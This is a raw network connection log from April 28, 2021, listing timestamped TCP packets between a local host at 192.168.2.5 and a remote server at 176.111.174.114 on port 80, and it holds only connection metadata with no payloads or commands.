Apr 28, 2021 23:25:41.979903936 CEST	50502	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.079037905 CEST	80	50502	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.082958937 CEST	80	50502	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.083199024 CEST	50502	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.202122927 CEST	50502	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.204773903 CEST	50503	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.301110029 CEST	80	50502	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.301291943 CEST	50502	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.302720070 CEST	80	50503	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.302936077 CEST	50503	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.304035902 CEST	50503	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.404074907 CEST	80	50503	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.408061981 CEST	80	50503	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.408174038 CEST	50503	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.514285088 CEST	50503	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.517066002 CEST	50505	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.612015009 CEST	80	50503	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.612127066 CEST	50503	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.617002964 CEST	80	50505	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.617104053 CEST	50505	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.617759943 CEST	50505	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.718674898 CEST	80	50505	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.722217083 CEST	80	50505	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.722373009 CEST	50505	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.826863050 CEST	50505	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.828075886 CEST	50506	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.927632093 CEST	80	50505	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.927813053 CEST	50505	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.927882910 CEST	80	50506	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:42.928052902 CEST	50506	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:42.929549932 CEST	50506	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.029495955 CEST	80	50506	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.033662081 CEST	80	50506	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.033785105 CEST	50506	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.139400959 CEST	50506	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.142086983 CEST	50507	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.239116907 CEST	80	50506	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.239253044 CEST	50506	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.244112015 CEST	80	50507	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.244288921 CEST	50507	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.245398998 CEST	50507	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.348970890 CEST	80	50507	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.352951050 CEST	80	50507	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.353054047 CEST	50507	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.494627953 CEST	50507	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.495815039 CEST	50508	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.548469067 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.589102983 CEST	80	50508	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.589204073 CEST	50508	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.589952946 CEST	50508	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.597718954 CEST	80	50507	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.597819090 CEST	50507	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.642333031 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.642522097 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.642782927 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.683209896 CEST	80	50508	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.687164068 CEST	80	50508	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.687248945 CEST	50508	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.736923933 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.736974001 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.737045050 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.737092018 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.737225056 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.737427950 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.737454891 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.737555027 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.739003897 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.739022970 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.739031076 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.739042044 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.739049911 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.739061117 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.739115000 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.739182949 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.794955969 CEST	50508	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.796729088 CEST	50510	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.830816984 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.830916882 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.830949068 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.831020117 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.831115007 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.831131935 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.831182003 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.831222057 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.832532883 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.832623959 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.832642078 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.832659960 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.832700968 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.832753897 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.832835913 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.832914114 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.833022118 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.833110094 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.888400078 CEST	80	50508	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.888587952 CEST	50508	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.897939920 CEST	80	50510	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.898050070 CEST	50510	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.898909092 CEST	50510	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.926162004 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.926192045 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.926203012 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.926214933 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.926282883 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.926326036 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.926332951 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.926389933 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.926502943 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.926516056 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.926567078 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.926635981 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.928064108 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.928174973 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.928200960 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.928212881 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.928248882 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.928260088 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.928340912 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.928373098 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.928373098 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.928422928 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.928462982 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.928529024 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:43.928622961 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:43.928703070 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.000246048 CEST	80	50510	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.004220963 CEST	80	50510	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.004949093 CEST	50510	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.020025015 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.020056963 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.020075083 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.020210981 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.020231009 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.020248890 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.020267010 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.020410061 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.021958113 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.022245884 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.022286892 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.022315025 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.022511005 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.022540092 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.022660971 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.022819042 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.022845030 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.022974014 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.024499893 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.024693012 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.109323978 CEST	50510	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.109448910 CEST	50512	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.118706942 CEST	80	50509	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.118796110 CEST	50509	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.208528996 CEST	80	50512	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.208724976 CEST	50512	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.209682941 CEST	50512	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.210567951 CEST	80	50510	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.211302042 CEST	50510	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.308689117 CEST	80	50512	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.312633038 CEST	80	50512	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.312736988 CEST	50512	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.424710035 CEST	50512	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.427402973 CEST	50513	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.523252010 CEST	80	50513	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.523452044 CEST	50513	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.524038076 CEST	80	50512	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.524190903 CEST	50512	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.525077105 CEST	50513	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.620374918 CEST	80	50513	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.623703003 CEST	80	50513	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.623960018 CEST	50513	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.733906031 CEST	50513	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.736778021 CEST	50514	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.828804970 CEST	80	50513	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.831377029 CEST	50513	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.834580898 CEST	80	50514	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.834883928 CEST	50514	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.836105108 CEST	50514	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:44.933924913 CEST	80	50514	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.938332081 CEST	80	50514	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:44.938546896 CEST	50514	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.046427011 CEST	50514	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.049165964 CEST	50515	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.144083977 CEST	80	50514	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.144272089 CEST	50514	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.148682117 CEST	80	50515	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.148843050 CEST	50515	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.149487019 CEST	50515	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.250336885 CEST	80	50515	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.255101919 CEST	80	50515	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.255280018 CEST	50515	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.357965946 CEST	50515	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.359504938 CEST	50517	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.457709074 CEST	80	50517	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.457863092 CEST	50517	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.458374023 CEST	80	50515	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.458576918 CEST	50517	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.458663940 CEST	50515	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.555649996 CEST	80	50517	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.559747934 CEST	80	50517	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.559876919 CEST	50517	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.671319962 CEST	50517	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.674056053 CEST	50518	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.768146038 CEST	80	50518	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.768347025 CEST	80	50517	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.768424988 CEST	50518	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.768517017 CEST	50517	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.769695044 CEST	50518	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.863295078 CEST	80	50518	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.867921114 CEST	80	50518	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:45.868062019 CEST	50518	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.983390093 CEST	50518	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:45.985832930 CEST	50519	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.077218056 CEST	80	50518	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.077332973 CEST	50518	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.084440947 CEST	80	50519	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.084587097 CEST	50519	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.085104942 CEST	50519	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.182454109 CEST	80	50519	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.187053919 CEST	80	50519	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.187216043 CEST	50519	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.295948982 CEST	50519	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.297488928 CEST	50520	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.345777035 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.393416882 CEST	80	50519	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.393512964 CEST	50519	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.398899078 CEST	80	50520	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.399099112 CEST	50520	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.400104046 CEST	50520	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.445602894 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.445785999 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.446316957 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.503078938 CEST	80	50520	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.506675005 CEST	80	50520	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.506824970 CEST	50520	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.546200037 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.546283960 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.546302080 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.546355963 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.546525002 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.546598911 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.546684980 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.546736956 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.546906948 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.546991110 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.547080994 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.547144890 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.547233105 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.547298908 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.547308922 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.547369003 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.547775984 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.547864914 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.547909975 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.547977924 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.623739958 CEST	50520	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.624833107 CEST	50522	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.646575928 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.646687984 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.646939993 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.646960020 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.646972895 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.646995068 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.647027969 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.647054911 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.647063017 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.647068024 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.647080898 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.647092104 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.647129059 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.647180080 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.647208929 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.647397995 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.647465944 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.647566080 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.647598028 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.647635937 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.647672892 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.722558975 CEST	80	50522	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.722686052 CEST	50522	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.723918915 CEST	50522	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.725346088 CEST	80	50520	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.725430965 CEST	50520	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.746581078 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.746633053 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.746650934 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.746669054 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.746705055 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.746721983 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.746737957 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.746795893 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.746824026 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.746881962 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.746908903 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.746942997 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.746994019 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.747026920 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.747098923 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.747220993 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.747248888 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.747272968 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.747291088 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.747307062 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.747320890 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.747343063 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.747421980 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.823263884 CEST	80	50522	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.827723026 CEST	80	50522	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.827840090 CEST	50522	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.846333027 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.846374989 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.846394062 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.846575022 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.846730947 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.846879959 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.847127914 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.847235918 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.847347021 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.847397089 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.847480059 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.847650051 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.847846031 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.847866058 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.848011017 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.848165035 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.848447084 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.848517895 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.848561049 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.848716974 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.848931074 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.848951101 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.849077940 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.849539995 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.849566936 CEST	80	50521	176.111.174.114	192.168.2.5
